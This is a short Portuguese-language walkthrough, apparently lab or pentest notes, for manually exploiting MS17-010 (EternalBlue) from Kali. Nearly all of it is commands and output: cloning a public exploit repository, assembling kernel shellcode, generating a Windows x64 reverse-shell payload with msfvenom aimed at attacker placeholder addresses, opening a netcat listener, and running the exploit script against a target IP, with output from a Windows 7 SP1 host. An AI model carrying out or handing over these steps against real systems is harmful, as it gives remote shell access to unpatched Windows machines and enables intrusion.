MS17-010 - Exploiting Manually

1. Clonando o Repositório

root@kali# git clone https://github.com/worawit/MS17-010.git
Cloning into 'MS17-010'...
remote: Enumerating objects: 183, done.
remote: Total 183 (delta 0), reused 0 (delta 0), pack-reused 183
Receiving objects: 100% (183/183), 113.61 KiB | 391.00 KiB/s, done.
Resolving deltas: 100% (102/102), done.

1. Gerando o Payload (Atenção para a plataforma a ser atacada, 64 ou 32 bits)

root@kali# nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o \
           ./sc_x64_kernel.bin

1. Shellcode (Atenção para a plataforma a ser atacada, 64 ou 32bits)

root@kali# msfvenom -p windows/x64/shell_reverse_tcp LPORT=<PORTA_NC_ATACANTE> \
           LHOST=<IP_NC_ATACANTE> \
           --platform windows -a x64 --format raw -o sc_x64_payload.bin
No encoder or badchars specified, outputting raw payload
Payload size: 460 bytes
Saved as: sc_x64_payload.bin

1. Juntando o Payload e o Shellcode

root@kali# cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin

1. Explorando
   1. Em um Terminal abrir o Listener na porta escolhida do Reverse Shell acima

   root@kali# nc -lnvp <PORTA_NC_ATACANTE>

   b. executar o exploit

   root@kali# python MS17-010/eternalblue_exploit7.py <IP_MAQUINA_ALVO> sc_x64.bin
   shellcode size: 1232
   numGroomConn: 13
   Target OS: Windows 7 Professional 7601 Service Pack 1
   SMB1 session setup allocate nonpaged pool success
   SMB1 session setup allocate nonpaged pool success
   good response status: INVALID_PARAMETER
   done